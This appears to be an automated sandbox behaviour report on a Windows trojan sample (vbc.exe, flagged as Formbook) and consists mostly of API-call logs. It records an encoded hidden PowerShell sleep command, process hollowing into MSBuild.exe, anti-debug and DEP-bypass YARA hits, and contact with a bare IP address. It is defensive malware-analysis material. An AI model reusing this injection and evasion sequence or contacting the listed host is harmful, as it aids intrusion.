NtAllocateVirtualMemory April 22, 2023, 8:43 a.m.	process_identifier: 2556 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00637000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 22, 2023, 8:43 a.m.	process_identifier: 2556 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00638000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 22, 2023, 8:43 a.m.	process_identifier: 2556 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00639000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 22, 2023, 8:43 a.m.	process_identifier: 2556 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x09350000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 22, 2023, 8:43 a.m.	process_identifier: 2556 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x09430000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 22, 2023, 8:43 a.m.	process_identifier: 2556 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0063a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 22, 2023, 8:43 a.m.	process_identifier: 2556 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0063b000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 22, 2023, 8:43 a.m.	process_identifier: 2556 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0044c000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 22, 2023, 8:43 a.m.	process_identifier: 2556 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0063c000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 22, 2023, 8:43 a.m.	process_identifier: 2556 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0063d000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 22, 2023, 8:43 a.m.	process_identifier: 2556 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0063e000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 22, 2023, 8:43 a.m.	process_identifier: 2556 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00448000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 22, 2023, 8:43 a.m.	process_identifier: 2556 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x09431000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 22, 2023, 8:43 a.m.	process_identifier: 2556 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0063f000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 22, 2023, 8:43 a.m.	process_identifier: 2556 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x09710000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 22, 2023, 8:43 a.m.	process_identifier: 2556 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x09711000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 22, 2023, 8:43 a.m.	process_identifier: 2556 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0955f000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 22, 2023, 8:43 a.m.	process_identifier: 2556 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x09550000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 22, 2023, 8:43 a.m.	process_identifier: 2556 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x09712000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 22, 2023, 8:43 a.m.	process_identifier: 2556 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x09432000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory April 22, 2023, 8:43 a.m.	process_identifier: 2556 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x09713000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1

Creates a shortcut to an executable file (1 event)

file	C:\Users\test22\AppData\Local\Temp\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk

Creates a suspicious process (2 events)

cmdline	powershell -ENC cwB0AGEAcgB0AC0AcwBsAGUAZQBwACAALQBzAGUAYwBvAG4AZABzACAAMgAwAA==
cmdline	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ENC cwB0AGEAcgB0AC0AcwBsAGUAZQBwACAALQBzAGUAYwBvAG4AZABzACAAMgAwAA==

A process created a hidden window (1 event)

Time & API	Arguments	Status	Return	Repeated
ShellExecuteExW April 22, 2023, 8:43 a.m.	show_type: 0 filepath_r: powershell parameters: -ENC cwB0AGEAcgB0AC0AcwBsAGUAZQBwACAALQBzAGUAYwBvAG4AZABzACAAMgAwAA== filepath: powershell	1	1	0

Checks adapter addresses which can be used to detect virtual network interfaces (1 event)

Time & API	Arguments	Status	Return	Repeated
GetAdaptersAddresses April 22, 2023, 8:43 a.m.	flags: 1158 family: 0	1	0	0

Checks for the Locally Unique Identifier on the system for a suspicious privilege (3 events)

Time & API	Arguments	Status	Return
LookupPrivilegeValueW April 22, 2023, 8:43 a.m.	system_name: privilege_name: SeDebugPrivilege	1	1
LookupPrivilegeValueW April 22, 2023, 8:43 a.m.	system_name: privilege_name: SeDebugPrivilege	1	1
LookupPrivilegeValueW April 22, 2023, 8:43 a.m.	system_name: privilege_name: SeDebugPrivilege	1	1

Yara rule detected in process memory (9 events)

description	Used Formbook[m]	rule	Win_Trojan_Formbook_m_Zero
description	(no description)	rule	DebuggerCheck__GlobalFlags
description	(no description)	rule	DebuggerCheck__QueryInfo
description	(no description)	rule	DebuggerHiding__Thread
description	(no description)	rule	DebuggerHiding__Active
description	(no description)	rule	ThreadControl__Context
description	(no description)	rule	SEH__vectored
description	Checks if being debugged	rule	anti_dbg
description	Bypass DEP	rule	disable_dep

Communicates with host for which no DNS query was performed (1 event)

host

172.245.214.178

Allocates execute permission to another process indicative of possible code injection (1 event)

Time & API	Arguments	Status	Return	Repeated
NtAllocateVirtualMemory April 22, 2023, 8:43 a.m.	process_identifier: 2944 region_size: 192512 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00400000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000468	1	0	0

Looks for the Windows Idle Time to determine the uptime (1 event)

Time & API	Arguments	Status	Return	Repeated
NtQuerySystemInformation April 22, 2023, 8:43 a.m.	information_class: 8 (SystemProcessorPerformanceInformation)	1	0	0

A process attempted to delay the analysis task. (1 event)

description

vbc.exe tried to sleep 2728263 seconds, actually delayed analysis time by 2728263 seconds

Potential code injection by writing to the memory of another process (2 events)

Time & API	Arguments	Status	Return	Repeated
WriteProcessMemory April 22, 2023, 8:43 a.m.	buffer: MZERèXè ÈÀ<ÁÀ(ÿáÀº´ Í!¸LÍ!This program cannot be run in DOS mode. $«üêïf¹ïf¹ïf¹ôÍ¹©f¹ôø¹ìf¹ôû¹îf¹Richïf¹PELBr?à ÒÀðð@ð@.text$ÑÒ ` base_address: 0x00400000 process_identifier: 2944 process_handle: 0x00000468	1	1	0
WriteProcessMemory April 22, 2023, 8:43 a.m.	buffer: @ base_address: 0xfffde008 process_identifier: 2944 process_handle: 0x00000468	1	1	0

Code injection by writing an executable or DLL to the memory of another process (1 event)

Time & API	Arguments	Status	Return	Repeated
WriteProcessMemory April 22, 2023, 8:43 a.m.	buffer: MZERèXè ÈÀ<ÁÀ(ÿáÀº´ Í!¸LÍ!This program cannot be run in DOS mode. $«üêïf¹ïf¹ïf¹ôÍ¹©f¹ôø¹ìf¹ôû¹îf¹Richïf¹PELBr?à ÒÀðð@ð@.text$ÑÒ ` base_address: 0x00400000 process_identifier: 2944 process_handle: 0x00000468	1	1	0

Used NtSetContextThread to modify a thread in a remote process indicative of process injection (2 events)

Time & API	Arguments	Status	Return	Repeated
Process injection	Process 2556 called NtSetContextThread to modify thread in remote process 2944
NtSetContextThread April 22, 2023, 8:43 a.m.	registers.eip: 0 registers.esp: 0 registers.edi: 0 registers.eax: 4321472 registers.ebp: 0 registers.edx: 0 registers.ebx: -139264 registers.esi: 0 registers.ecx: 0 thread_handle: 0x0000046c process_identifier: 2944	1	0	0

Resumed a suspended thread in a remote process potentially indicative of process injection (2 events)

Time & API	Arguments	Status	Return	Repeated
Process injection	Process 2556 resumed a thread in remote process 2944
NtResumeThread April 22, 2023, 8:43 a.m.	thread_handle: 0x0000046c suspend_count: 1 process_identifier: 2944	1	0	0

The process powershell.exe wrote an executable file to disk (20 events)

file	C:\Windows\System32\ie4uinit.exe
file	C:\Program Files\Windows Sidebar\sidebar.exe
file	C:\Windows\System32\WindowsAnytimeUpgradeUI.exe
file	C:\Windows\System32\xpsrchvw.exe
file	C:\Windows\System32\displayswitch.exe
file	C:\Program Files\Common Files\Microsoft Shared\ink\mip.exe
file	C:\Windows\System32\mblctr.exe
file	C:\Windows\System32\mstsc.exe
file	C:\Windows\System32\SnippingTool.exe
file	C:\Windows\System32\SoundRecorder.exe
file	C:\Windows\System32\dfrgui.exe
file	C:\Windows\System32\msinfo32.exe
file	C:\Windows\System32\rstrui.exe
file	C:\Program Files\Common Files\Microsoft Shared\ink\ShapeCollector.exe
file	C:\Program Files\Windows Journal\Journal.exe
file	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
file	C:\Windows\System32\MdSched.exe
file	C:\Windows\System32\msconfig.exe
file	C:\Windows\System32\recdisc.exe
file	C:\Windows\System32\msra.exe

File has been identified by 24 AntiVirus engines on VirusTotal as malicious (24 events)

Bkav	W32.AIDetectNet.01
Lionic	Trojan.Win32.Noon.4!c
McAfee	Artemis!C167A030F4E6
Cylance	unsafe
Alibaba	Trojan:MSIL/Generic.3938af33
CrowdStrike	win/malicious_confidence_100% (W)
BitDefenderTheta	Gen:NN.ZemsilF.36164.qm0@aCeqWMj
Symantec	Trojan.Gen.2
Elastic	malicious (moderate confidence)
ESET-NOD32	a variant of MSIL/TrojanDownloader.Agent.PCL
Cynet	Malicious (score: 100)
APEX	Malicious
Paloalto	generic.ml
Kaspersky	UDS:Trojan-Spy.MSIL.Noon.gen
Avast	DropperX-gen [Drp]
McAfee-GW-Edition	Artemis!Trojan
Sophos	Mal/Generic-S
Microsoft	Trojan:Win32/Sabsik.FL.B!ml
ZoneAlarm	UDS:Trojan-Spy.MSIL.Noon.gen
Panda	Trj/Chgt.AD
Rising	Malware.Obfus/MSIL@AI.80 (RDM.MSIL2:kn/XO9V2A/MUIV2+lwo5gQ)
MaxSecure	Trojan.Malware.300983.susgen
AVG	DropperX-gen [Drp]
DeepInstinct	MALICIOUS

Executed a process and injected code into it, probably while unpacking (31 events)

Time & API	Arguments	Status	Return
NtResumeThread April 22, 2023, 8:43 a.m.	thread_handle: 0x000000dc suspend_count: 1 process_identifier: 2556	1	0
NtResumeThread April 22, 2023, 8:43 a.m.	thread_handle: 0x00000150 suspend_count: 1 process_identifier: 2556	1	0
NtResumeThread April 22, 2023, 8:43 a.m.	thread_handle: 0x0000018c suspend_count: 1 process_identifier: 2556	1	0
NtResumeThread April 22, 2023, 8:43 a.m.	thread_handle: 0x000003c0 suspend_count: 1 process_identifier: 2556	1	0
NtResumeThread April 22, 2023, 8:43 a.m.	thread_handle: 0x000003d4 suspend_count: 1 process_identifier: 2556	1	0
NtResumeThread April 22, 2023, 8:43 a.m.	thread_handle: 0x000003f4 suspend_count: 1 process_identifier: 2556	1	0
NtResumeThread April 22, 2023, 8:43 a.m.	thread_handle: 0x0000045c suspend_count: 1 process_identifier: 2556	1	0
NtResumeThread April 22, 2023, 8:43 a.m.	thread_handle: 0x00000470 suspend_count: 1 process_identifier: 2556	1	0
NtResumeThread April 22, 2023, 8:43 a.m.	thread_handle: 0x00000490 suspend_count: 1 process_identifier: 2556	1	0
NtResumeThread April 22, 2023, 8:43 a.m.	thread_handle: 0x000004a8 suspend_count: 1 process_identifier: 2556	1	0
NtGetContextThread April 22, 2023, 8:43 a.m.	thread_handle: 0x000000e4	1	0
NtGetContextThread April 22, 2023, 8:43 a.m.	thread_handle: 0x000000e4	1	0
NtResumeThread April 22, 2023, 8:43 a.m.	thread_handle: 0x000000e4 suspend_count: 1 process_identifier: 2556	1	0
NtGetContextThread April 22, 2023, 8:43 a.m.	thread_handle: 0x000000e4	1	0
NtGetContextThread April 22, 2023, 8:43 a.m.	thread_handle: 0x000000e4	1	0
NtGetContextThread April 22, 2023, 8:43 a.m.	thread_handle: 0x000000e4	1	0
NtSetContextThread April 22, 2023, 8:43 a.m.	registers.eip: 1921133444 registers.esp: 4254408 registers.edi: 60085545 registers.eax: 38 registers.ebp: 4254424 registers.edx: 103 registers.ebx: 59973056 registers.esi: 57469956 registers.ecx: 16336 thread_handle: 0x000000e4 process_identifier: 2556	1	0
NtResumeThread April 22, 2023, 8:43 a.m.	thread_handle: 0x000000e4 suspend_count: 1 process_identifier: 2556	1	0
CreateProcessInternalW April 22, 2023, 8:43 a.m.	thread_identifier: 2764 thread_handle: 0x000005a0 process_identifier: 2760 current_directory: C:\Users\test22\AppData\Local\Temp filepath: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe track: 1 command_line: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ENC cwB0AGEAcgB0AC0AcwBsAGUAZQBwACAALQBzAGUAYwBvAG4AZABzACAAMgAwAA== filepath_r: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe stack_pivoted: 0 creation_flags: 67634192 (CREATE_DEFAULT_ERROR_MODE\|CREATE_NEW_CONSOLE\|CREATE_UNICODE_ENVIRONMENT\|EXTENDED_STARTUPINFO_PRESENT) inherit_handles: 0 process_handle: 0x000005a8	1	1
CreateProcessInternalW April 22, 2023, 8:43 a.m.	thread_identifier: 2948 thread_handle: 0x0000046c process_identifier: 2944 current_directory: filepath: track: 1 command_line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe filepath_r: stack_pivoted: 0 creation_flags: 134217732 (CREATE_NO_WINDOW\|CREATE_SUSPENDED) inherit_handles: 0 process_handle: 0x00000468	1	1
NtGetContextThread April 22, 2023, 8:43 a.m.	thread_handle: 0x0000046c	1	0
NtAllocateVirtualMemory April 22, 2023, 8:43 a.m.	process_identifier: 2944 region_size: 192512 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00400000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000468	1	0
WriteProcessMemory April 22, 2023, 8:43 a.m.	buffer: MZERèXè ÈÀ<ÁÀ(ÿáÀº´ Í!¸LÍ!This program cannot be run in DOS mode. $«üêïf¹ïf¹ïf¹ôÍ¹©f¹ôø¹ìf¹ôû¹îf¹Richïf¹PELBr?à ÒÀðð@ð@.text$ÑÒ ` base_address: 0x00400000 process_identifier: 2944 process_handle: 0x00000468	1	1
WriteProcessMemory April 22, 2023, 8:43 a.m.	buffer: base_address: 0x00401000 process_identifier: 2944 process_handle: 0x00000468	1	1
WriteProcessMemory April 22, 2023, 8:43 a.m.	buffer: @ base_address: 0xfffde008 process_identifier: 2944 process_handle: 0x00000468	1	1
NtSetContextThread April 22, 2023, 8:43 a.m.	registers.eip: 0 registers.esp: 0 registers.edi: 0 registers.eax: 4321472 registers.ebp: 0 registers.edx: 0 registers.ebx: -139264 registers.esi: 0 registers.ecx: 0 thread_handle: 0x0000046c process_identifier: 2944	1	0
NtResumeThread April 22, 2023, 8:43 a.m.	thread_handle: 0x0000046c suspend_count: 1 process_identifier: 2944	1	0
NtResumeThread April 22, 2023, 8:43 a.m.	thread_handle: 0x00000294 suspend_count: 1 process_identifier: 2760	1	0
NtResumeThread April 22, 2023, 8:43 a.m.	thread_handle: 0x000002e8 suspend_count: 1 process_identifier: 2760	1	0
NtResumeThread April 22, 2023, 8:43 a.m.	thread_handle: 0x00000444 suspend_count: 1 process_identifier: 2760	1	0
NtResumeThread April 22, 2023, 8:43 a.m.	thread_handle: 0x00000490 suspend_count: 1 process_identifier: 2760	1	0

vbc.exe

Process Tree Toggle all

Network Toggle all

Suricata Toggle all

Suricata Alerts

Suricata TLS

Signatures Toggle All